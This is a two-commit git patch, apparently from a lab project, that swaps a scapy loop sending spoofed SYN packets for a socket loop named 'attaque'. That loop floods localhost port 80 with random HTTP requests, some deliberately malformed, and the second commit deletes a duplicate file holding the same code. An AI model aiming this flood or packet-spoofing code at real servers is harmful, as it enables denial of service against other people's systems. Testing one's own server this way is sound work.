From ac08a162248777d3b612af053c971671cc75eb8e Mon Sep 17 00:00:00 2001 From: vSpaike <153102900+vSpaike@users.noreply.github.com> Date: Sat, 11 Jan 2025 23:45:59 +0100 Subject: [PATCH 1/2] requete mal formee2 --- client/main.py | 27 +++++++++++++++++++++------ 1 file changed, 21 insertions(+), 6 deletions(-) diff --git a/client/main.py b/client/main.py index 572f06a..7410200 100644 --- a/client/main.py +++ b/client/main.py @@ -1,8 +1,23 @@ -from scapy.all import * +import socket +import random as r -while True: - for i in range(512,2048): - pkt = IP(dst='web') / IP(src='192.168.1.69')/ TCP(dport=80,sport=i,flags='S') / ICMP() - send(pkt, loop=1) - print("Sent packet") +L=[ + "G3T / HTTP/1.1\r\nHøst: localhost\r\n\r\n", + "GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n", + "GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n" +] +adresse="localhost" +port=80 +def attaque(): + while True: + with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s: + s.connect(adresse,port) + s.send(L[r.randint(0,2)].encode()) + +''' + +GET / HTTP/1.1 +Host: example.com + +''' \ No newline at end of file From d416b9670c4f71a28d426eb96d66af93891d5c71 Mon Sep 17 00:00:00 2001 From: vSpaike <153102900+vSpaike@users.noreply.github.com> Date: Sat, 11 Jan 2025 23:46:20 +0100 Subject: [PATCH 2/2] requete mal formee2 --- client/app.py | 23 ----------------------- 1 file changed, 23 deletions(-) delete mode 100644 client/app.py diff --git a/client/app.py b/client/app.py deleted file mode 100644 index 7410200..0000000 --- a/client/app.py +++ /dev/null @@ -1,23 +0,0 @@ -import socket -import random as r - -L=[ - "G3T / HTTP/1.1\r\nHøst: localhost\r\n\r\n", - "GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n", - "GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n" -] - -adresse="localhost" -port=80 -def attaque(): - while True: - with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s: - s.connect(adresse,port) - s.send(L[r.randint(0,2)].encode()) - -''' - -GET / HTTP/1.1 -Host: example.com - -''' \ No newline at end of file